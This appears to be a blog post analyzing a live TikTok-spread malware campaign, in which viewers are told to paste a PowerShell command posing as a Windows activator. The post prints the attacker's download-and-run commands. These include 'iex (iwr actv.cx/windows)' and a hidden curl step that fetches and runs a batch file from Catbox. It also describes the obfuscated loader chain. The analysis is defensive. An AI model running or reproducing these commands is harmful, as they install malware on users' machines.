jimididit

An Experienced Developer's Experiences

Malware Analysis for Beginners

jimididit's avatar
| 0 views
Malware Analysis for Beginners

Malware Analysis for Beginners: Tracking a Live TikTok PowerShell Malware Chain

Meta Description: Follow a real-world malware analysis of an evolving TikTok PowerShell malware campaign. Learn how staged loaders, obfuscated batch files, and memory-only payloads are used in modern attacks.


Introduction

Malware analysis isn’t just about static samplesβ€”it’s about watching live campaigns evolve in real time.

Recently, I began tracking an active malware chain spreading through TikTok videos. What began as a simple curiosity has grown into a fully evolving campaign with dynamic payloads, staged loaders, and clever obfuscation.

This post documents my analysis so farβ€”and I will continue updating it as the threat actor evolves their tooling.


πŸ“… Timeline of Events β€” TikTok PowerShell Malware Chain

1️⃣ Initial TikTok Video

The AI generated video tells viewers to run this command:

  
iex (iwr actv.cx/windows) 

Claimed to offer a β€œWindows activation / unlock / utility.”
Reality: Social engineering trick to get users to run arbitrary PowerShell.


2️⃣ The `actv.cx/windows` URL

At time of analysis, this URL was live.

It returns this code:

  
Start-Process -WindowStyle Hidden -FilePath cmd.exe -ArgumentList '/c curl -k -L -sS https://files.catbox.moe/<filename>.bat -o "%TEMP%\1.cmd" && "%TEMP%\1.cmd"'
irm https://get.activated.win | iex 

Two parts:

βœ… Downloads and runs a batch file from Catbox
βœ… Executes `get.activated.win` β†’ legitimate Microsoft Activation Scripts (MAS) β†’ used as cover/distraction


3️⃣ Batch File β€” Evolving Payload

  • Initially: `[https:]//files.catbox.moe/e699c1.bat`
  • Later updated to: `[https:]//files.catbox.moe/bqhjfq.bat`

Finding: The attacker is actively maintaining this chainβ€”files and naming are evolving.


4️⃣ The Batch File (`1.cmd`) β€” Core Payload

Highly obfuscated `.cmd` file, over 256KB in size.

Batch File

Techniques used:

  • Garbage text (β€œcouch dignity purpose stuff disease…”) β†’ AV evasion
  • Obfuscated `set` statements:
  
@echo off
...
set "ODQD=..."
set "oWMV=..."
... 

Variables combined dynamically:

  
%ODQD%%oWMV%%gZpKDK% β†’ PowerShell code 

Goal: Reconstruct an obfuscated PowerShell loader on the fly.


5️⃣ PowerShell Loader Behavior

When the batch completes building the PowerShell command, it performs this chain:

  
$X0WP46Cw = [Convert]::FromBase64String(...)
TripleDES decrypt
GZIP decompress
SHA256 hash verify
Reflective .NET assembly load
EntryPoint.Invoke 

Loader construction varies:

  • Older version: used environment variables (split with `#`)
  • Latest version: uses inline variables + split with `=`.

6️⃣ Analysis Findings From Latest Run

βœ… `FromBase64String() was called β†’ loader reached this stage. ❌ In this run, environment variables were empty β†’ payload failed to reconstruct β†’ no malware executed. βœ… \ get.activated.win` ran successfully β†’ legitimate MAS β†’ used as cover/misdirection.


7️⃣ Purpose of get.activated.win

Legitimate MAS utility, used cleverly by the attacker:

  • Makes the user think the command was safe (β€œOh, I got a Windows activator!”)
  • Obfuscates process tree (PowerShell appears busy with legit activity)
  • Possibly keeps PowerShell process alive longer to allow malware to execute fully.

8️⃣ Overall Malware Chain Architecture

  
TikTok β†’ iex (iwr actv.cx/windows)
β†’ actv.cx/windows β†’ Start-Process curl [https:]//files.catbox.moe/...bat β†’ 1.cmd
β†’ 1.cmd β†’ reconstructs obfuscated PowerShell loader
β†’ PowerShell loader β†’ builds base64 β†’ decrypt β†’ decompress β†’ .NET EXE reflectively loaded
β†’ MAS runs in parallel as decoy 

9️⃣ Threat Actor Behavior

Indicators that the threat actor is actively maintaining and improving the chain:

βœ… Catbox .bat filename changed β†’ e699c1.bat β†’ bqhjfq.bat
βœ… Split character changed β†’ `# β†’ \ = βœ… **Variable names randomized** in each \ .bat` β†’ implies an automated builder/toolkit.

Final payload: not fully captured in this run β†’ likely rotates dynamically or is controlled via server-side updates.


Final Summary

This TikTok campaign is not a prankβ€”it delivers a live, evolving malware loader.

Key characteristics:

  • Batch β†’ dynamic PowerShell β†’ in-memory .NET EXE
  • MAS utility used for cover/misdirection
  • Attacker is actively maintaining the chain β†’ suggests a real, ongoing threat effort.

Final Flow Diagram (Textual)

  
TikTok video β†’ iex (iwr actv.cx/windows)
↓
actv.cx/windows β†’ Start-Process curl ... files.catbox.moe/bqhjfq.bat β†’ "%TEMP%\1.cmd"
↓
1.cmd β†’ Obfuscated set statements β†’ Reconstructs PowerShell loader
↓
PowerShell:
β†’ FromBase64String β†’ TripleDES decrypt β†’ GZIP decompress β†’ .NET EXE load β†’ EntryPoint.Invoke
↓
Parallel: MAS utility runs (get.activated.win) β†’ User thinks everything is legit 

Next Steps

I will continue tracking this campaign:

βœ… Deobfuscate the full current `1.cmd` payload
βœ… Identify any new infrastructure/C2 endpoints
βœ… Monitor for further filename/variable/toolkit changes
βœ… Update this blog post with future findings


Takeaway for Users

🚩 NEVER trust PowerShell tricks you see on social mediaβ€”especially anything invoking:

  
iex (iwr ...) 

This campaign is a textbook example of:

  • Fileless malware
  • Dynamic staging
  • In-memory execution
  • Social engineering + legit cover activity

Stay Updated

πŸ‘‰ Follow this blog for future updates on this campaign
πŸ‘‰ Check out my GitHub for tools and analysis scripts
πŸ‘‰ Join the Nokturnal Community Discord to collaborate on real-world malware analysis

Stay safe β€” and stay curious. πŸ”